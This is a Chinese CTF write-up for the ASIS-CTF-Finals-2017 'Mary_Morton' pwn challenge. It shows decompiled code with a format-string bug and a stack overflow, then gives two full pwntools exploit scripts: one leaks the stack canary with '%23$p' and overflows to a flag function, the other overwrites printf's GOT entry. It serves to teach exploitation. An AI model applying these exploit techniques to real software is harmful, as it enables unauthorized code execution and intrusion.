以ASIS-CTF-Finals-2017 Mary_Morton为例
checksec查看,开了NX保护,还有canary
IDA打开
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
const char *v3; // rdi
int v4; // [rsp+24h] [rbp-Ch]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
sub_4009FF();
puts("Welcome to the battle ! ");
puts("[Great Fairy] level pwned ");
v3 = "Select your weapon ";
puts("Select your weapon ");
while ( 1 )
{
while ( 1 )
{
sub_4009DA(v3);
v3 = "%d";
__isoc99_scanf("%d", &v4);
if ( v4 != 2 )
break;
sub_4008EB();
}
if ( v4 == 3 )
{
puts("Bye ");
exit(0);
}
if ( v4 == 1 )
{
sub_400960();
}
else
{
v3 = "Wrong!";
puts("Wrong!");
}
}
}
int sub_4009DA()
{
puts("1. Stack Bufferoverflow Bug ");
puts("2. Format String Bug ");
return puts("3. Exit the battle ");
}
发现输入2 进入的函数中有格式化字符串洞
unsigned __int64 sub_4008EB()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x7FuLL);
printf(&buf, &buf);
return __readfsqword(0x28u) ^ v2;
}
输入1 进入的函数中有栈溢出漏洞
unsigned __int64 sub_400960()
{
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(&buf, 0, 0x80uLL);
read(0, &buf, 0x100uLL);
printf("-> %s\n", &buf);
return __readfsqword(0x28u) ^ v2;
}
这个题有两种做法
方法一:通过格式化字符串漏洞泄露canary,然后利用栈溢出漏洞执行cat flag函数
canary在入栈后,会清空eax中的数据
而在一个函数执行完之后,canary的值会被再取出来,和现在的canary的值比较
在printf函数处下断
1.确定可控输入时格式化字符串的第6个参数
2.再确定canary和输入的参数参数之间的偏移
(1).由IDA中可看出,canary与buf之间距离0x88(136)个字节,因为是64位,以8 个字节为一个 单位,136/8=17,那么canary距离格式化字符串函数23(17+6)个参数的距离
char buf; // [rsp+0h] [rbp-90h]
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
(2)也可以用GDB来查看
查看栈中内容,计算canary和输入数据的偏移7FFFFFFFE058-7fffffffdfd0=0x88
编写exp
from pwn import *
r = remote('111.198.29.45','30473')
win = p64(0x4008de)
r.sendlineafter('3. Exit the battle \n', b'2')
r.sendline('%23$p')
pause(3)
canary = r.recv()
canary = int(re.search(b'0x[0-9a-f]{16}', canary).group(), 16)
log.info("canary ==> {0:x}".format(canary))
r.sendline(b'1')
payload = b"A" * 136
payload += p64(canary)
payload += b"W" * 8
payload += win * 4
r.sendline(payload)
print(r.recv())
print(r.recv())
方法二:通过格式化字符串洞覆盖函数地址,执行 catflag函数
确定可控输入时格式化字符串的第6个参数
使用python第三方库formatStringExploiter 更多详细信息:https://formatstringexploiter.readthedocs.io/en/latest/formatStringExploiter.html
先定义connect函数用来连接程序,定义exec_fmt实现payload的发送
编写利用exp
from pwn import *
from time import sleep
from formatStringExploiter.FormatString import FormatString
elf = ELF('./mary_morton')
flag_addr = 0x04008DA
print_addr = elf.got['printf']
def connect():
global sh
sh = remote('111.198.29.45',30559)
sh.recvuntil('battle \n')
def exec_fmt(s):
sh.sendline('2')
sleep(0.1)
sh.sendline(s)
ret = sh.recvuntil('1. Stack Bufferoverflow', drop=True)
sh.recvuntil('battle \n')
return ret
connect()
payload = FormatString(exec_fmt,elf=elf,index=6,pad=0,explore_stack=False)
payload.write_q(print_addr,flag_addr)
sh.sendline("1")
sh.sendline("1")
sh.interactive()
推荐阅读:https://veritas501.space/2017/04/28/%E8%AE%BAcanary%E7%9A%84%E5%87%A0%E7%A7%8D%E7%8E%A9%E6%B3%95/